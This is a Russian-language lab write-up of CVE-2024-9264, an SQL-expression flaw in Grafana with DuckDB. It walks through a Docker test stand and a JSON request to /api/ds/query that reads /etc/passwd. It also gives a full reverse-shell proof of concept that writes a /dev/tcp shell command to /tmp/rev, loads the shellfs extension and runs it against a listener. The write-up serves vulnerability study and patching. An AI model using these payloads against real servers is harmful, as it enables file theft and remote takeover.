Vulnerability
December 3

Уязвимость CVE-2024-9264: Удаленное выполнение кода в Grafana через SQL-выражения

Введение

Grafana – это популярная платформа для мониторинга и визуализации данных,
которая широко используется в IT-среде для создания интерактивных панелей
управления и графиков на основе различных источников данных. Она поддерживает интеграцию с множеством баз данных и сервисов, включая Prometheus, InfluxDB, Graphite, MySQL, PostgreSQL и другие.

Благодаря своей гибкости и удобству использования, Grafana стала стандартным инструментом для многих компаний, работающих с большими объемами данных. Grafana предоставляет мощные инструменты для анализа метрик и логов, позволяя пользователям создавать настраиваемые дашборды, отслеживать производительность приложений и инфраструктуры, а также получать уведомления о критических событиях.

DuckDB – это встроенная база данных, ориентированная на работу с аналитическими запросами и обработку больших объемов данных. Это легковесная реляционная система управления базами данных (СУБД), разработанная для встраивания в приложения и работы непосредственно в оперативной памяти. DuckDB поддерживает SQL-запросы и оптимизирован для быстрого выполнения сложных аналитических запросов.

Одной из ключевых особенностей DuckDB является её способность работать внутри других приложений, таких как Grafana, обеспечивая высокую скорость обработки данных и минимальные требования к ресурсам. Однако, как и любое программное обеспечение, они не застрахованы от уязвимостей, одна из которых будет рассмотрена далее.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Описание уязвимости

Уязвимость CVE-2024-9264 представляет собой критический баг в системе мониторинга и визуализации данных Grafana, связанный с недостаточной фильтрацией входных данных в экспериментальной функции SQL-выражений.

Данная уязвимость позволяет любым аутентифицированным пользователям выполнять произвольные SQL-запросы в базе данных DuckDB, что открывает возможности для проведения SQL-инъекций.

Злоумышленники могут использовать эту уязвимость для LFI (чтения файлов на сервера) или даже RCE (выполнения произвольного кода на сервера). Уязвимость имеет оценку в 9.4 баллов по CVSS.

SQL-инъекция — это тип уязвимости в веб-приложениях, позволяющий злоумышленникам вставлять произвольные SQL -запросы в поля ввода, что может привести к несанкционированному доступу к данным, их изменению или удалению.
LFI (Local File Inclusion) – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам включать локальные файлы на сервере в ответ на запрос пользователя. Это может привести к раскрытию конфиденциальной информации, такой как пароли или исходный код приложения.
RCE (Remote Code Execution) – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.

Подготовка стендового окружения

Сначала создадим файл Dockerfile . Этот файл будет использоваться для построения Docker-образа, который включает в себя Grafana и DuckDB.

Так как CVE-2024-9264 подвержены версии Grafana OSS и Enterprise 11.0.011.0.5, 11.1.011.1.6 и 11.2.011.2.1, будем использовать grafana 11.0.0.

Для работы этой уязвимости двоичный файл DuckDB должен присутствовать в
$PATH Grafana. По умолчанию этот двоичный файл не устанавливается в дистрибутивах Grafana, поэтом при подготовки стенда мы дополним Dockerfile
установкой DuckDB: https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip

# Dockerfile
FROM grafana/grafana:11.0.0-ubuntu

USER root

# Установка DuckDB
RUN apt-get update && apt-get install -y && apt-get install unzip -
y \
   wget \
   && wget
https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cl
i-linux-amd64.zip \
   && unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
   && chmod +x /usr/local/bin/duckdb \
   && rm duckdb_cli-linux-amd64.zip
   
# Добавление DuckDB в PATH
ENV PATH="/usr/local/bin:${PATH}"

Соберем Dockerfile в новый образ:

docker build -t test-cve-grafana-duckdb .

Эта команда создаст новый Docker-образ с именем test-cve-grafana- duckdb.

Запустим созданный Docker-образ:

sudo docker run --name=grafana -p 3000:3000 test-cve-grafana-
duckdb

Создание пользователя

После запуска Docker-образа перейдем по http://localhost:3000 и авторизуемся со стандартным логином и паролем admin:admin , после чего создадим нового пользователя с минимальной ролью viewer (только на просмотр)

Разбор уязвимости

Уязвимым является запрос POST к /api/ds/query в Grafana, который предназначен для выполнения запросов к источникам данных (Data Sources) для сохранения или обновления панели управления. С помощью этого API пользователи могут отправлять запросы к различным подключенным базам данных или другим источникам данных, настроенным в Grafana, и получать результаты этих запросов.

Схема тела JSON:

  • queries: массив объектов, каждый из которых описывает отдельный запрос кисточнику данных.
    • refId: Уникальный идентификатор запроса. В данном случае "GIS", но может быть любым.
    • datasource: Информация об источнике данных, к которому отправляется запрос.
      • type: Тип источника данных. Здесь указан "GIS".
      • uid: Уникальный идентификатор источника данных. "__expr__", что указывает на использование экспериментальных выражений.
      • name: Имя источника данных. Указано как "GIS" .
    • type: Тип запроса. В данном случае "sql" , что указывает на SQL- запрос.
    • hide: Флаг, определяющий, следует ли скрывать результат запроса. Установлен в false .
    • expression: Само SQL-выражение, которое должно быть выполнено. В данном случае это "SELECT content FROM read_blob(\"/etc/passwd\")", что пытается прочитать содержимое файла /etc/passwd .
{
   "queries": [
      {
        "refId": "GIS",
        "datasource": {
        "type": "GIS",
        "uid": "__expr__",
        "name": "GIS"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob(\"/etc/passwd\")", "window": ""
   }
   ],
   "from": "1729313027261",
   "to": "1729334627261"
}

Также, уязвимость CVE-2024-9264 позволяет получить обратную оболочку.

PoC:

"SELECT 1;COPY (SELECT 'sh -i >& /dev/tcp/192.168.0.111/4444 0>&1') TO '/tmp/rev'; SELECT 1;install shellfs from community; LOAD shellfs;SELECT * FROM read_csv('bash /tmp/rev |');"

У себя в терминале подняли слушатель на 4444 порту.

rlwrap nc -lvnp 4444

Отправили запрос к api и получили обратное соединение.

Этот SQL-запрос представляет собой получение обратной оболочки через базу данных:

  • SELECT 1; – просто возвращает значение 1 , чтобы начать выполнение.
  • COPY (SELECT 'sh -i >& /dev/tcp/192.168.0.111/4444 0>&1') TO '/tmp/rev';
    • Создает файл /tmp/rev с содержимым команды для обратного шелла, которая будет пытаться установить соединение с IP-адресом 192.168.0.111 на порту 4444.
  • SELECT 1; – снова возвращает 1.
  • install shellfs from community; LOAD shellfs;
    • Устанавливает и загружает расширение базы данных под названием shellfs . Это расширение позволяет выполнять системные команды непосредственно из SQL-запросов.
  • SELECT * FROM read_csv('bash /tmp/rev |');
    • Выполняет команду bash /tmp/rev , которая запускает созданный ранее скрипт для установления обратного соединения с удаленным сервером.

Заключение

Уязвимость CVE-2024-9264 возникает из-за недостаточного контроля над тем, какие SQL-запросы могут быть выполнены через экспериментальную функцию SQL-выражений в Grafana.

Экспериментальная функция позволяет пользователям вводить произвольные SQL-запросы, которые затем выполняются базой данных DuckDB.

При отсутствии должной фильтрации и экранирования вводимых данных злоумышленник может внедрить вредоносные SQL-команды, что приведет к выполнению недопустимых действий на сервере.